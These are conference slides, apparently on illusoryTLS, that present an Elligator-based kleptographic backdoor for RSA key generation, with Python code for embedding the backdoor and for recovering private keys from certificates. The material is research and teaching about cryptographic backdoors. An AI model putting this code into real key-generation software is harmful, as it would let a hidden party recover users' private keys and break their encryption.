  • 145. .. Elligator . A Backdoor Embedding Algorithm . 91/104 .. . Censorship sucks! . Daniel J. Bernstein, Anna Krasnova, Mike Hamburg, Tanja Lange . an encoding for points on a single curve as strings indistiguishable from uniform random strings . http://elligator.cr.yp.to
  • 146. .. Inherently Dual Use . A Backdoor Embedding Algorithm . 92/104 ... All cyber security technology is inherently dual use
  • 147. .. Undetectability for Good or Ill . A Backdoor Embedding Algorithm . 93/104 .. . Just like any and all cyber security tools . Undetectability of curve points can be used for good or ill . For censorship-circumvention or surveillance
  • 148. .. Between Offense and Defense . A Backdoor Embedding Algorithm . 94/104 I believe we can positively contribute to the discussion and practice of information security by walking the fine line between offense and defense
  • 149. .. Code . A Backdoor Embedding Algorithm . 95/104 . Website — http://illusorytls.com . illusoryTLS — https://github.com/secYOUre/illusoryTLS . pyelligator — https://github.com/secYOUre/pyelligator . rsaelligatorbd — https://github.com/secYOUre/rsaelligatorbd
  • 150. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Embed a Curve25519 public-key into the key-generator ..MASTER_PUB_HEX = ’525e422e42c9c662362a7326c3c5c785ac7ef52e86782c4ac3c06887583e7a6f’ master_pub = unhexlify(MASTER_PUB_HEX)
  • 151. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Generate an ephemeral Curve25519 key at random and the associated uniform representative string .. while True: private = urandom(32) (v, pub, rep) = elligator.scalarbasemult(private) if v: break
  • 152. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Compute a shared secret using ECDH . Use the shared secret to seed a CSPRNG based on AES run in CTR mode .. # combine the ECDH keys to generate the seed seed = nacl.crypto_box_beforenm(master_pub, private) prng = AESPRNG(seed)
  • 153. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Generate a normal RSA key using the seeded CSPRNG .. # deterministic key generation from seed rsa = build_key(embed=rep, pos=80, randfunc=prng.randbytes) ... def build_key(bits=2048, e=65537, embed=’’, pos=1, randfunc=None): # generate base key rsa = RSA.generate(bits, randfunc)
  • 154. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Replace 32-bytes of the generated modulus with the representative string associated to the ephemeral Curve25519 public-key .. # extract modulus as a string n_str = unhexlify(str(hex(rsa.n))[2:-1]) # embed data into the modulus n_hex = hexlify(replace_at(n_str, embed, pos)) ... # overwrite some bytes in orig at a specificed offset def replace_at(orig, replace, offset): return orig[0:offset] + replace + orig[offset+len(replace):]
  • 155. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Use the original prime factors to compute to new primes leading to a new modulus embedding the uniform representative string .. n = gmpy.mpz(n_hex, 16) p = rsa.p # compute a starting point to look for a new q value pre_q = n / p # use the next prime as the new q value q = pre_q.next_prime() n = p * q phi = (p-1) * (q-1) # compute new private exponent d = gmpy.invert(e, phi) # make sure that p is smaller than q if p > q: (p, q) = (q, p)
  • 156. .. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Output the backdoored RSA key ..return RSA.construct((long(n), long(e), long(d), long(p), long(q)))
  • 157. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Extracts the representative string from the target modulus .. #Load an x.509 certificate from a file x509 = X509.load_cert(sys.argv[2]) # Pull the modulus out of the certificate orig_modulus = unhexlify(x509.get_pubkey().get_modulus()) (seed, rep) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80) ... def recover_seed(key=’’, modulus=None, pos=1): ... rep = modulus[pos:pos+32]
  • 158. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Maps the representative string to the candidate ephemeral Curve25519 public-key ..pub = elligator.representativetopublic(rep)
  • 159. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key-generator . Uses the shared secret to seed the CSPRNG based on AES run in CTR mode .. def recover_seed(key=’’, modulus=None, pos=1): # recreate the master private key from the passphrase master = sha256(key).digest() ... # compute seed with master private and ephemeral public key return (nacl.crypto_box_beforenm(pub, master), rep) ... (seed, rep) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80) prng = AESPRNG(seed)
  • 160. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Generates a normal RSA key using the seeded CSPRNG .. # deterministic key generation from seed rsa = build_key(embed=rep, pos=80, randfunc=prng.randbytes) ... def build_key(bits=2048, e=65537, embed=’’, pos=1, randfunc=None): # generate base key rsa = RSA.generate(bits, randfunc)
  • 161. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Replaces 32-bytes of the generated modulus with the representative string found in the target modulus .. # extract modulus as a string n_str = unhexlify(str(hex(rsa.n))[2:-1]) # embed data into the modulus n_hex = hexlify(replace_at(n_str, embed, pos))
  • 162. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Uses the original prime factors to compute two new primes leading to the target modulus embedding the uniform representative string .. n = gmpy.mpz(n_hex, 16) p = rsa.p # compute a starting point to look for a new q value pre_q = n / p # use the next prime as the new q value q = pre_q.next_prime() n = p * q phi = (p-1) * (q-1) # compute new private exponent d = gmpy.invert(e, phi) # make sure that p is smaller than q if p > q: (p, q) = (q, p)
  • 163. .. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Output the recovered RSA key ..return RSA.construct((long(n), long(e), long(d), long(p), long(q))) ... print rsa.exportKey()
  • 164. ... A Backdoor Embedding Algorithm . 98/104 Demo
  • 166. ..
  • 167. .. “ Though I am o en in the depths of misery, there is still calmness, pure harmony and music inside me. Vincent van Gogh.. ”
  • 168. .. “ Though we are o en in the depths of insecurity, there is still calmness, pure harmony and music inside us. .. ”
  • 170. Q ?
  • 172. .. Normal RSA Key Generation — Young and Yung . Backup . 106/104 1. Let e be the public RSA exponent (e.g., 216 + 1) 2. Choose a large number p randomly (e.g., 1024 bits long) 3. If p is composite or gcd(e, p − 1) ̸= 1 then goto to step 1 4. Choose a large number q randomly (e.g., 1024 bits long) 5. If q is composite or gcd(e, p − 1) ̸= 1 then goto to step 3 6. Output the public-key (N = pq, e) and the private-key p 7. The private exponent d is found by solving for (d, k) in ed + kϕ(n) = 1 using the extended Euclidean algorithm
  • 173. .. RSA Encryption/Decryption — Young and Yung . Backup . 107/104 . N = p ∗ q, where p and q are large primes known to the key owner . Everyone knows N and e . Let d be a privete key exponent where ed = 1mod(p − 1)(q − 1) . To encrypt m ∈ Z∗ n (a er padding) compute: c = me modN . To decrypt the ciphertext c compute: m = cd modN . As far as we know: Only with known factorization given N and e, one can find d
  • 174. .. Elliptic Curve Decision Diffie-Hellman Problem . Backup . 108/104 . Let C an elliptic-curve equation over the finite field Fq with prime order n . Let G be the base point of the curve . Given three point elements (xG), (yG) and (zG) . Decide whether (zG = xyG), or not . Where (x, y, z) are chosen randomly and 1 < x, y, z < n